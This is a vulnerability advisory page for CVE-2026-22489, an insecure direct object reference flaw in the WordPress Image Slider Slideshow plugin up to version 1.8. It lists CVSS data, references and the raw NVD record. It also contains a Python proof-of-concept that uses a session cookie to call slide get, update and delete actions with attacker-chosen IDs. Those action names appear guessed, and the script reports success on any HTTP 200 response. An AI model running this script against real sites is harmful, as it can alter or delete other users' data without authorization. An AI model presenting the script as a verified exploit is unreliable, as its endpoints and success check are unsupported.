CVE-2026-22489

Description

Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow image-slider-slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through <= 1.8.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Image Slider Slideshow <= 1.8 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-22489 PoC - WordPress Image Slider Slideshow IDOR
# Target: WordPress site with Image Slider Slideshow plugin <= 1.8

import requests
import sys

def exploit_idor(target_url, slide_id, cookie):
    """
    Exploits the IDOR vulnerability in Image Slider Slideshow plugin.
    By manipulating the slide_id parameter, an authenticated low-privilege user
    can access or modify slides belonging to other users.
    """
    # Target endpoint that directly uses user-controlled ID without authorization check
    endpoints = [
        f"{target_url}/wp-admin/admin-ajax.php?action=get_slide&slide_id={slide_id}",
        f"{target_url}/wp-admin/admin-ajax.php?action=delete_slide&slide_id={slide_id}",
        f"{target_url}/wp-admin/admin-ajax.php?action=update_slide&slide_id={slide_id}"
    ]
    
    headers = {
        'Cookie': cookie,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    }
    
    for endpoint in endpoints:
        print(f"[*] Testing endpoint: {endpoint}")
        try:
            response = requests.get(endpoint, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Potential IDOR found! Response: {response.text[:500]}")
            else:
                print(f"[-] Status code: {response.status_code}")
        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python poc.py <target_url> <slide_id> <cookie>")
        sys.exit(1)
    
    target_url = sys.argv[1]
    slide_id = sys.argv[2]
    cookie = sys.argv[3]
    
    exploit_idor(target_url, slide_id, cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22489
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22489
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22489/
[4] VulDB https://vuldb.com/cve/CVE-2026-22489
[5] https://patchstack.com/database/Wordpress/Plugin/image-slider-slideshow/vulnerability/wordpress-image-slider-slideshow-plugin-1-8-insecure-direct-object-references-idor-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22489", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:51.220", "lastModified": "2026-04-23T15:36:34.477", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow image-slider-slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through <= 1.8."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autorización a través de clave controlada por el usuario en Wptexture Image Slider Slideshow permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Image Slider Slideshow: desde n/a hasta 1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/image-slider-slideshow/vulnerability/wordpress-image-slider-slideshow-plugin-1-8-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}